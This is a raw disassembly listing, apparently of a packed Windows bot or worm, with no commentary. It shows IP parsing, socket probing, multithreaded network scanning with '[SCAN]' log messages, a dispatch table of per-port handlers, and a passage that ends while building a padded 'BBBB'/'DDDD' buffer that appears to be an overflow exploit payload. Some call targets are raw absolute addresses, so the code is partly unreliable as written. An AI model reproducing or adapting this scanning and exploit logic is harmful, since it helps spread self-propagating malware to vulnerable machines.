; ---------------------------------------------------------------------------
loc_423792: ; CODE XREF: sub_423760+2Aj
lea eax, [esp+18h+var_4]
push esi
lea ecx, [esp+1Ch+var_10]
push eax
push ecx
lea eax, [esp+24h+var_C]
lea ecx, [esp+24h+var_8]
push eax
push ecx
push offset aD_D_D_D ; "%d.%d.%d.%d"
push edx
nop
call near ptr 77C41B72h
mov eax, [esp+34h+var_8]
mov esi, dword_50FABC
add esp, 18h
cmp eax, ebx
jnz short loc_4237CA
call esi ; dword_50FABC
mov [esp+1Ch+var_8], eax
loc_4237CA: ; CODE XREF: sub_423760+62j
cmp [esp+1Ch+var_C], ebx
jnz short loc_4237D6
call esi ; dword_50FABC
mov [esp+1Ch+var_C], eax
loc_4237D6: ; CODE XREF: sub_423760+6Ej
cmp [esp+1Ch+var_10], ebx
jnz short loc_4237E2
call esi ; dword_50FABC
mov [esp+1Ch+var_10], eax
loc_4237E2: ; CODE XREF: sub_423760+7Aj
mov eax, [esp+1Ch+var_4]
cmp eax, ebx
jnz short loc_4237EC
call esi ; dword_50FABC
loc_4237EC: ; CODE XREF: sub_423760+88j
mov edi, [esp+1Ch+var_10]
mov edx, [esp+1Ch+var_C]
shl eax, 8
mov ecx, [esp+1Ch+arg_4]
add eax, edi
shl eax, 8
add eax, edx
mov edx, [esp+1Ch+var_8]
shl eax, 8
add eax, edx
pop esi
pop edi
mov dword_50BB90[ecx*8], eax
pop ebx
add esp, 10h
retn
sub_423760 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423850 proc near ; CODE XREF: sub_401E38j
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = word ptr -114h
var_112 = word ptr -112h
var_110 = dword ptr -110h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 120h
push esi
push edi
mov edi, 1
push 0
push edi
push 2
mov [esp+134h+var_120], edi
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_42387E
pop edi
xor eax, eax
pop esi
add esp, 120h
retn
; ---------------------------------------------------------------------------
loc_42387E: ; CODE XREF: sub_423850+21j
mov ecx, [esp+128h+arg_4]
mov eax, [esp+128h+arg_0]
push ecx
mov [esp+12Ch+var_114], 2
mov [esp+12Ch+var_110], eax
call near ptr 71AB2B66h
nop
lea edx, [esp+128h+var_120]
mov [esp+128h+var_112], ax
push edx
push 8004667Eh
push esi
call near ptr 71AB4519h
nop
lea eax, [esp+128h+var_114]
push 10h
push eax
push esi
nop
call near ptr 71AB406Ah
mov ecx, [esp+128h+arg_8]
lea edx, [esp+128h+var_11C]
push edx
lea eax, [esp+12Ch+var_104]
push 0
push eax
push 0
push 0
mov [esp+13Ch+var_11C], ecx
mov [esp+13Ch+var_118], 0
mov [esp+13Ch+var_100], esi
mov [esp+13Ch+var_104], edi
nop
call near ptr 71AB2DC0h
push esi
mov edi, eax
nop
call near ptr 71AB9639h
xor eax, eax
test edi, edi
pop edi
pop esi
setnle al
add esp, 120h
retn
sub_423850 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_423940: ; CODE XREF: ___:00401046j
mov eax, 10110h
call sub_436840
push ebx
push ebp
mov ebp, dword_50FC2C
push esi
push edi
push 2649h
call ebp ; dword_50FC2C
mov [esp+24h], ax
mov eax, [esp+1012Ch]
push eax
call ebp ; dword_50FC2C
mov [esp+26h], ax
call near ptr 77C371D3h
nop
xor ebx, ebx
push 200h
mov [esp+2Ch], eax
mov [esp+30h], ebx
mov [esp+34h], bx
mov [esp+44h], bx
mov word ptr [esp+36h], 5
mov [esp+38h], bx
mov word ptr [esp+3Ah], 1
mov [esp+3Ch], bx
mov [esp+3Eh], bx
mov [esp+40h], bx
mov [esp+42h], bx
call ebp ; dword_50FC2C
mov ecx, [esp+10124h]
mov edx, [esp+10128h]
push 24h
mov [esp+46h], ax
mov [esp+48h], bx
mov [esp+4Ah], bx
mov [esp+4Ch], ecx
mov [esp+50h], edx
mov [esp+54h], bl
mov byte ptr [esp+55h], 6
call ebp ; dword_50FC2C
mov [esp+52h], ax
mov ecx, 9
lea esi, [esp+24h]
lea edi, [esp+54h]
lea eax, [esp+48h]
push 20h
rep movsd
push eax
call sub_401A28
mov edx, [esp+10134h]
xor ecx, ecx
mov [esp+1Ch], ecx
add esp, 8
mov [esp+18h], ecx
mov [esp+44h], ax
mov [esp+1Ch], ecx
push edx
mov [esp+24h], ecx
mov word ptr [esp+18h], 2
call ebp ; dword_50FC2C
mov [esp+16h], ax
mov eax, [esp+10128h]
push 6
push 3
push 2
mov [esp+24h], eax
mov dword ptr [esp+1Ch], 10h
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_423A69
push offset aSocketOpenFail ; "socket open failed"
jmp loc_423B68
; ---------------------------------------------------------------------------
loc_423A69: ; CODE XREF: ___:00423A5Dj
mov ecx, [esp+10h]
lea edx, [esp+14h]
push ecx
push edx
push ebx
lea eax, [esp+30h]
push 24h
push eax
push esi
nop
call near ptr 71AB2C69h
mov edi, eax
cmp edi, 14h
jz short loc_423AC2
nop
call near ptr 71AB94DCh
push eax
push edi
lea ecx, [esp+70h]
push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
push ecx
call sub_5EDAB2
nop
lea edx, [esp+78h]
push edx
call sub_4010D2
add esp, 14h
push esi
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
loc_423AC2: ; CODE XREF: ___:00423A87j
mov ecx, 400Dh
xor eax, eax
lea edi, [esp+0E8h]
mov ebp, 2649h
rep stosd
stosw
stosb
cmp [esp+0FEh], bp
jz short loc_423B13
mov edi, dword_50FC58
loc_423AEA: ; CODE XREF: ___:00423B11j
lea eax, [esp+10h]
lea ecx, [esp+14h]
push eax
push ecx
push ebx
lea edx, [esp+0F4h]
push 10037h
push edx
push esi
call edi ; dword_50FC58
test eax, eax
jl short loc_423B42
cmp [esp+0FEh], bp
jnz short loc_423AEA
loc_423B13: ; CODE XREF: ___:00423AE2j
push esi
call near ptr 71AB9639h
nop
cmp word ptr [esp+10Eh], 1
jnz short loc_423B63
push offset aSocketOpen_ ; "Socket open."
call sub_4010D2
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
loc_423B42: ; CODE XREF: ___:00423B07j
push offset aRecvfromSocket ; "recvfrom() socket failed"
call sub_4010D2
add esp, 4
push esi
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
loc_423B63: ; CODE XREF: ___:00423B23j
push offset dword_44467C
loc_423B68: ; CODE XREF: ___:00423A64j
call sub_4010D2
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_423C10: ; CODE XREF: ___:loc_401F23j
sub esp, 290h
mov eax, [esp+294h]
push ebx
push ebp
push esi
push edi
mov ecx, 53h
mov esi, eax
lea edi, [esp+18h]
rep movsd
mov esi, [esp+13Ch]
mov ecx, [esp+140h]
mov [esp+10h], esi
mov [esp+14h], ecx
mov dword ptr [eax+148h], 1
nop
call near ptr 27F08B4h
push eax
nop
call near ptr 77C371BCh
lea eax, [esi+esi*2]
add esp, 4
shl eax, 4
sub eax, esi
lea eax, [eax+eax*2]
lea ebp, ds:448FCBh[eax*4]
mov eax, dword_4491CF[eax*4]
mov ecx, dword_50BB94[eax*8]
test ecx, ecx
jz loc_423EC4
mov ebx, off_50FBF0
loc_423C8C: ; CODE XREF: ___:00423EBAj
mov ecx, [esp+158h]
push eax
test ecx, ecx
jz short loc_423CA7
lea edx, [esp+1Ch]
push edx
call sub_401131
add esp, 8
jmp short loc_423CAF
; ---------------------------------------------------------------------------
loc_423CA7: ; CODE XREF: ___:00423C96j
call sub_401F37
add esp, 4
loc_423CAF: ; CODE XREF: ___:00423CA5j
mov ecx, [ebp+204h]
mov edx, [esp+12Ch]
mov edi, dword_50FC78
mov esi, eax
mov eax, [esp+14h]
push eax
push ecx
push edx
push esi
call edi ; dword_50FC78
push eax
lea eax, [esp+230h]
push offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
push eax
call ebx ; sub_5EDAB2
add esp, 18h
lea ecx, [esp+220h]
push ecx
push ebp
call ebx ; sub_5EDAB2
mov edx, [esp+138h]
mov eax, [esp+134h]
push edx
push eax
push esi
call sub_401E38
add esp, 14h
cmp eax, 1
jnz loc_423EA0
cmp dword ptr [esp+148h], 0FFFFFFFFh
jnz loc_423DC2
push offset dword_50DAD0
nop
call near ptr 7C901005h
mov ecx, [esp+12Ch]
push ecx
push esi
call edi ; dword_50FC78
push eax
lea edx, [esp+228h]
push offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
push edx
call ebx ; sub_5EDAB2
mov eax, [esp+164h]
add esp, 10h
test eax, eax
jnz short loc_423DA2
mov al, [esp+0A8h]
test al, al
jz short loc_423D7D
mov eax, [esp+150h]
lea ecx, [esp+220h]
push eax
mov eax, [esp+12Ch]
lea edx, [esp+0ACh]
push ecx
push edx
push eax
jmp short loc_423D9A
; ---------------------------------------------------------------------------
loc_423D7D: ; CODE XREF: ___:00423D59j
mov ecx, [esp+150h]
lea edx, [esp+220h]
push ecx
mov ecx, [esp+12Ch]
lea eax, [esp+2Ch]
push edx
push eax
push ecx
loc_423D9A: ; CODE XREF: ___:00423D7Bj
call sub_401523
add esp, 10h
loc_423DA2: ; CODE XREF: ___:00423D4Ej
lea edx, [esp+220h]
push edx
call sub_4010D2
add esp, 4
push offset dword_50DAD0
nop
call near ptr 7C9010EDh
jmp loc_423EA0
; ---------------------------------------------------------------------------
loc_423DC2: ; CODE XREF: ___:00423D16j
push esi
call edi ; dword_50FC78
push eax
lea eax, [esp+16Ch]
push eax
call ebx ; sub_5EDAB2
mov eax, [esp+150h]
add esp, 8
lea eax, [eax+eax*2]
lea ecx, [eax+eax*4]
lea eax, [esp+1F8h]
lea edx, ds:444420h[ecx*4]
push edx
push eax
call ebx ; sub_5EDAB2
mov al, [esp+0B0h]
add esp, 8
test al, al
jz short loc_423E12
lea ecx, [esp+0A8h]
lea edx, [esp+178h]
push ecx
push edx
jmp short loc_423E1F
; ---------------------------------------------------------------------------
loc_423E12: ; CODE XREF: ___:00423DFEj
lea eax, [esp+28h]
lea ecx, [esp+178h]
push eax
push ecx
loc_423E1F: ; CODE XREF: ___:00423E10j
call ebx ; sub_5EDAB2
mov eax, [esp+158h]
mov edx, [esp+130h]
mov ecx, [esp+15Ch]
mov [esp+21Ah], eax
mov eax, [esp+18h]
add esp, 8
mov [esp+164h], edx
mov edx, [esp+12Ch]
mov [esp+206h], eax
mov eax, [esp+148h]
sub esp, 0BCh
mov [esp+2D2h], ecx
mov ecx, 2Eh
lea esi, [esp+220h]
mov edi, esp
mov [esp+2BEh], edx
mov [esp+2C6h], eax
lea eax, [eax+eax*2]
rep movsd
lea edx, [eax+eax*4]
movsw
call off_44444C[edx*4]
add esp, 0BCh
loc_423EA0: ; CODE XREF: ___:00423D08j
; ___:00423DBDj
push 7D0h
call near ptr 2840000h
nop
mov eax, [ebp+204h]
mov ecx, dword_50BB94[eax*8]
test ecx, ecx
jnz loc_423C8C
mov esi, [esp+10h]
loc_423EC4: ; CODE XREF: ___:00423C80j
push esi
call sub_401E24
add esp, 4
push 0
nop
call near ptr 2840164h
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
; ---------------------------------------------------------------------------
db 0C0h dup(0CCh)
; ---------------------------------------------------------------------------
loc_423FA0: ; CODE XREF: sub_402261j
mov eax, [esp+4]
sub esp, 1CCh
mov ecx, 53h
push ebx
push ebp
push esi
push edi
mov esi, eax
lea edi, [esp+10h]
mov ebx, 1
rep movsd
mov [eax+144h], ebx
lea eax, [esp+10h]
push eax
nop
call near ptr 71AB2BF4h
sub esp, 14Ch
lea esi, [esp+15Ch]
mov ecx, [esp+27Ch]
mov edi, esp
mov dword_50BB90[ecx*8], eax
mov ecx, 53h
rep movsd
call j_nullsub_9
push 3
call sub_401483
add esp, 150h
cmp eax, ebx
jnz short loc_424021
push offset dword_50DAD0
nop
call near ptr 2780000h
push offset dword_50DAD0
call near ptr 2780835h
nop
loc_424021: ; CODE XREF: ___:00424009j
mov edx, [esp+130h]
mov eax, [esp+13Ch]
mov ebp, dword_50F8D0
mov esi, ebx
mov dword_50BB94[edx*8], ebx
cmp eax, ebx
mov ebx, off_50FBF0
jb loc_424150
mov edi, dword_50F860
loc_424052: ; CODE XREF: ___:0042414Aj
mov eax, [esp+130h]
mov ecx, [esp+124h]
push esi
push eax
lea edx, [esp+18h]
push ecx
push edx
lea eax, [esp+16Ch]
push offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
push eax
mov [esp+150h], esi
call ebx ; sub_5EDAB2
push 0
lea ecx, [esp+178h]
push 3
push ecx
call sub_401BD6
lea ecx, [eax+eax*2]
add esp, 24h
shl ecx, 4
sub ecx, eax
push 0
push 0
mov [esp+13Ch], eax
mov eax, [esp+138h]
lea edx, [ecx+ecx*2]
lea ecx, [esp+18h]
push ecx
push offset loc_401F23
push 0
push 0
mov dword_4491CF[edx*4], eax
call edi ; dword_50F860
mov edx, [esp+134h]
lea ecx, [edx+edx*2]
shl ecx, 4
sub ecx, edx
lea edx, [ecx+ecx*2]
mov dword_4491DF[edx*4], eax
mov ecx, [esp+134h]
lea eax, [ecx+ecx*2]
shl eax, 4
sub eax, ecx
lea eax, [eax+eax*2]
mov ecx, dword_4491DF[eax*4]
test ecx, ecx
jz short loc_424118
mov eax, [esp+158h]
test eax, eax
jnz short loc_42413E
loc_424107: ; CODE XREF: ___:00424114j
push 1Eh
call ebp ; dword_50F8D0
mov eax, [esp+158h]
test eax, eax
jz short loc_424107
jmp short loc_42413E
; ---------------------------------------------------------------------------
loc_424118: ; CODE XREF: ___:004240FAj
nop
call near ptr 27C0847h
push eax
lea ecx, [esp+160h]
push offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
push ecx
call ebx ; sub_5EDAB2
lea edx, [esp+168h]
push edx
call sub_4010D2
add esp, 10h
loc_42413E: ; CODE XREF: ___:00424105j
; ___:00424116j
push 1Eh
call ebp ; dword_50F8D0
inc esi
cmp esi, [esp+13Ch]
jbe loc_424052
loc_424150: ; CODE XREF: ___:00424046j
mov eax, [esp+12Ch]
test eax, eax
jz short loc_42417E
lea eax, [eax+eax*2]
lea eax, [eax+eax*4]
lea eax, [eax+eax*4]
lea eax, [eax+eax*4]
lea eax, [eax+eax*4]
shl eax, 5
push eax
call ebp ; dword_50F8D0
mov esi, 1
mov eax, [esp+12Ch]
jmp short loc_4241B1
; ---------------------------------------------------------------------------
loc_42417E: ; CODE XREF: ___:00424159j
mov ecx, [esp+130h]
mov esi, 1
cmp dword_50BB94[ecx*8], esi
jnz short loc_4241B1
loc_424193: ; CODE XREF: ___:004241A8j
push 7D0h
call ebp ; dword_50F8D0
mov edx, [esp+130h]
cmp dword_50BB94[edx*8], esi
jz short loc_424193
mov eax, [esp+12Ch]
loc_4241B1: ; CODE XREF: ___:0042417Cj
; ___:00424191j
mov ecx, [esp+130h]
mov edx, [esp+124h]
push eax
push edx
mov ecx, dword_50BB90[ecx*8]
push ecx
nop
call near ptr 71AB3F41h
push eax
lea eax, [esp+168h]
push offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
push eax
call ebx ; sub_5EDAB2
mov eax, [esp+160h]
add esp, 14h
test eax, eax
jnz short loc_424212
mov ecx, [esp+148h]
lea edx, [esp+15Ch]
push ecx
mov ecx, [esp+124h]
lea eax, [esp+24h]
push edx
push eax
push ecx
call sub_401523
add esp, 10h
loc_424212: ; CODE XREF: ___:004241EBj
lea edx, [esp+15Ch]
push edx
call sub_4010D2
mov eax, [esp+134h]
add esp, 4
push 0BB8h
mov dword_50BB94[eax*8], 0
call ebp ; dword_50F8D0
push 3
call sub_401483
add esp, 4
cmp eax, esi
jnz short loc_424254
push offset dword_50DAD0
nop
call near ptr 2780000h
loc_424254: ; CODE XREF: ___:00424247j
mov ecx, [esp+130h]
push ecx
call sub_401E24
add esp, 4
push 0
call near ptr 2840164h
nop
nop
nop
nop
nop
; ---------------------------------------------------------------------------
db 0C0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424330 proc near ; CODE XREF: sub_4012A8j
mov eax, ecx
mov dword ptr [eax+4], 0
mov dword ptr [eax], 0
retn
sub_424330 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_424350: ; CODE XREF: ___:004015E1j
mov edx, [esp+4]
sub esp, 8
xor eax, eax
push esi
mov esi, ecx
push edi
mov edi, edx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
push ecx
push edx
lea ecx, [esp+10h]
call sub_401834
mov ecx, [eax]
pop edi
mov [esi], ecx
mov edx, [eax+4]
mov eax, esi
mov [esi+4], edx
pop esi
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4243A0 proc near ; CODE XREF: sub_401834j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push ebp
mov ebp, [esp+8+arg_4]
mov ebx, ecx
push ebp
nop
call near ptr 77C2C407h
mov edx, eax
add esp, 4
test edx, edx
jz short loc_4243F2
mov ecx, ebp
push esi
mov esi, ecx
push edi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+10h+arg_0]
and ecx, 3
rep stosb
mov ecx, ebp
mov edi, edx
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, ebx
and ecx, 3
rep movsb
pop edi
mov [ebx+4], ebp
pop esi
mov [ebx], edx
pop ebp
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_4243F2: ; CODE XREF: sub_4243A0+16j
mov eax, ebx
pop ebp
pop ebx
retn 8
sub_4243A0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424420 proc near ; CODE XREF: sub_4021D5j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
push ebx
mov ebx, ecx
push ebp
mov ecx, [esp+8+arg_C]
lea ebp, [eax+ecx]
push ebp
call near ptr 77C2C407h
nop
mov edx, eax
add esp, 4
test edx, edx
jz short loc_424494
mov ecx, ebp
push esi
mov esi, ecx
push edi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+10h+arg_0]
and ecx, 3
rep stosb
mov ecx, [esp+10h+arg_4]
mov edi, edx
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h+arg_C]
mov esi, [esp+10h+arg_8]
lea edi, [edx+eax]
mov eax, ecx
shr ecx, 2 ; DATA XREF: Themida_:loc_5A0180o
rep movsd
mov ecx, eax
mov eax, ebx
and ecx, 3
rep movsb
pop edi
mov [ebx+4], ebp
pop esi
mov [ebx], edx
pop ebp
pop ebx
retn 10h
; ---------------------------------------------------------------------------
loc_424494: ; CODE XREF: sub_424420+1Dj
mov eax, ebx
pop ebp
pop ebx
retn 10h
sub_424420 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4244C0 proc near ; CODE XREF: sub_4016B8j
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_4244D3
push eax
nop
call near ptr 77C2C21Bh
add esp, 4
loc_4244D3: ; CODE XREF: sub_4244C0+7j
mov dword ptr [esi+4], 0
mov dword ptr [esi], 0
pop esi
retn
sub_4244C0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424500 proc near ; CODE XREF: sub_4010A0j
var_4 = dword ptr -4
push ecx
push ebx
mov ebx, ecx
push ebp
push esi
mov eax, [ebx+4]
cmp eax, 0FFFFh
jl short loc_424517
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_424517: ; CODE XREF: sub_424500+Ej
xor ecx, ecx
cmp eax, 7Fh
setnl cl
dec ecx
and ecx, 0FFFFFFFEh
add ecx, 3
mov esi, ecx
add eax, esi
mov [esp+10h+var_4], esi
push eax
call near ptr 77C2C407h
nop
mov ebp, eax
add esp, 4
test ebp, ebp
jnz short loc_424545
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_424545: ; CODE XREF: sub_424500+3Cj
push edi
mov edi, [ebx+4]
mov ecx, esi
xor eax, eax
add ecx, edi
mov edi, ebp
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
cmp esi, 1
rep stosb
jnz short loc_424574
mov al, [ebx+4]
lea edi, [ebp+1]
mov [ebp+0], al
mov ecx, [ebx+4]
mov esi, [ebx]
jmp short loc_42458F
; ---------------------------------------------------------------------------
loc_424574: ; CODE XREF: sub_424500+62j
mov byte ptr [ebp+0], 82h
mov eax, [ebx+4]
sar eax, 8
mov [ebp+1], al
mov cl, [ebx+4]
mov [ebp+2], cl
mov ecx, [ebx+4]
mov esi, [ebx]
lea edi, [ebp+3]
loc_42458F: ; CODE XREF: sub_424500+72j
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov eax, [ebx]
push eax
call near ptr 77C2C21Bh
nop
mov ecx, [esp+18h+var_4]
mov eax, [ebx+4]
add esp, 4
add eax, ecx
mov [ebx], ebp
mov [ebx+4], eax
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
pop ecx
retn
sub_424500 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4245F0 proc near ; CODE XREF: sub_401B68j
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 8
push ebx
push ebp
mov ebp, ecx
mov eax, [ebp+4]
mov ecx, [ebp+0]
push eax
push ecx
push 1
push offset dword_446F74
lea ecx, [esp+20h+var_8]
call sub_4021D5
lea ecx, [esp+10h+var_8]
call sub_4010A0
mov edx, [esp+10h+var_4]
inc edx
push edx
nop
call near ptr 77C2C407h
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_424635
pop ebp
xor al, al
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_424635: ; CODE XREF: sub_4245F0+3Bj
mov eax, [esp+10h+var_4]
push esi
push edi
mov edi, ebx
lea ecx, [eax+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
mov byte ptr [ebx], 3
mov ecx, [esp+18h+var_4]
mov esi, [esp+18h+var_8]
mov eax, ecx
lea edi, [ebx+1]
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, ebp
call sub_4016B8
mov ecx, [esp+18h+var_4]
mov [ebp+0], ebx
inc ecx
mov [ebp+4], ecx
lea ecx, [esp+18h+var_8]
call sub_4016B8
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 8
retn
sub_4245F0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4246D0 proc near ; CODE XREF: sub_4012C6j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
sub esp, 8
push esi
mov esi, ecx
mov ecx, [esp+0Ch+arg_0]
push eax
mov edx, [esi+4]
mov eax, [esi]
push ecx
push edx
push eax
lea ecx, [esp+1Ch+var_8]
call sub_4021D5
mov ecx, esi
call sub_4016B8
mov ecx, [esp+0Ch+var_8]
mov edx, [esp+0Ch+var_4]
mov [esi], ecx
mov [esi+4], edx
mov al, 1
pop esi
add esp, 8
retn 8
sub_4246D0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424720 proc near ; CODE XREF: sub_402036j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov edx, ecx
push edi
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
push esi
mov ecx, edx
call sub_4012C6
pop edi
pop esi
retn 4
sub_424720 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424760 proc near ; CODE XREF: sub_4014FBj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push eax
push edx
call sub_4012C6
retn 8
sub_424760 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424790 proc near ; CODE XREF: sub_4017CBj
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 8
push esi
mov esi, ecx
call sub_4010A0
test al, al
jnz short loc_4247A4
pop esi
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_4247A4: ; CODE XREF: sub_424790+Dj
mov eax, [esi+4]
mov ecx, [esi]
push eax
push ecx
push 1
push offset dword_444BA4
lea ecx, [esp+1Ch+var_8]
call sub_4021D5
mov ecx, esi
call sub_4016B8
mov edx, [esp+0Ch+var_8]
mov eax, [esp+0Ch+var_4]
mov [esi], edx
mov [esi+4], eax
mov al, 1
pop esi
add esp, 8
retn
sub_424790 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424800 proc near ; CODE XREF: sub_401EABj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push eax
mov ecx, [esp+8+arg_0]
push ecx
mov ecx, esi
call sub_4014FB
test al, al
jnz short loc_42481C
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_42481C: ; CODE XREF: sub_424800+16j
mov ecx, esi
call sub_4017CB
pop esi
retn 8
sub_424800 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424840 proc near ; CODE XREF: sub_401BEAj
var_858 = dword ptr -858h
var_854 = dword ptr -854h
var_850 = dword ptr -850h
var_84C = dword ptr -84Ch
var_848 = dword ptr -848h
var_844 = dword ptr -844h
var_840 = dword ptr -840h
var_83C = dword ptr -83Ch
var_838 = dword ptr -838h
var_834 = dword ptr -834h
var_830 = dword ptr -830h
var_82C = dword ptr -82Ch
var_828 = dword ptr -828h
var_824 = dword ptr -824h
var_820 = dword ptr -820h
var_81C = dword ptr -81Ch
var_818 = dword ptr -818h
var_814 = dword ptr -814h
var_810 = dword ptr -810h
var_80C = dword ptr -80Ch
var_808 = dword ptr -808h
var_804 = dword ptr -804h
var_800 = byte ptr -800h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
sub esp, 858h
lea ecx, [esp+858h+var_818]
push ebx
push esi
call sub_4012A8
mov esi, [esp+860h+arg_8]
cmp esi, 408h
jg loc_424C15
mov ebx, [esp+860h+arg_10]
lea eax, [ebx+8]
cmp eax, 408h
ja loc_424C15
push edi
lea ecx, [esp+864h+var_830]
call sub_4012A8
lea ecx, [esp+864h+var_840]
call sub_4012A8
lea ecx, [esp+864h+var_810]
call sub_4012A8
lea ecx, [esp+864h+var_848]
call sub_4012A8
lea ecx, [esp+864h+var_820]
call sub_4012A8
lea ecx, [esp+864h+var_828]
call sub_4012A8
lea ecx, [esp+864h+var_838]
call sub_4012A8
push 4
push offset dword_444840
lea ecx, [esp+86Ch+var_830]
call sub_4012C6
push 3
push offset dword_444848
lea ecx, [esp+86Ch+var_830]
call sub_4012C6
lea ecx, [esp+864h+var_830]
call sub_401B68
lea ecx, [esp+864h+var_830]
call sub_4017CB
mov ecx, 200h
mov eax, 42424242h
lea edi, [esp+864h+var_800]
push 8
rep stosd
push offset aRbrbrbrb ; "BBBB"
lea ecx, [esp+86Ch+var_840]
call sub_4012C6
mov ecx, [esp+864h+arg_C]
push ebx
push ecx
lea ecx, [esp+86Ch+var_840]
call sub_4012C6
mov ebx, [esp+864h+var_83C]
mov edx, 409h
sub edx, ebx
lea eax, [esp+864h+var_800]
push edx
push eax
lea ecx, [esp+86Ch+var_840]
call sub_4012C6
lea ecx, [esp+864h+var_840]
call sub_401B68
push offset loc_444BC8
lea ecx, [esp+868h+var_810]
call sub_402036
lea ecx, [esp+864h+var_810]
call sub_401B68
mov ecx, 200h
mov eax, 44444444h
lea edi, [esp+864h+var_800]
push 410h
rep stosd
lea ecx, [esp+868h+var_800]
push ecx
lea ecx, [esp+86Ch+var_808]
call sub_401834
lea ecx, [esp+864h+var_808]
call sub_401B68
mov edx, [esp+864h+var_804]
mov eax, [esp+864h+var_808]
push edx
push eax
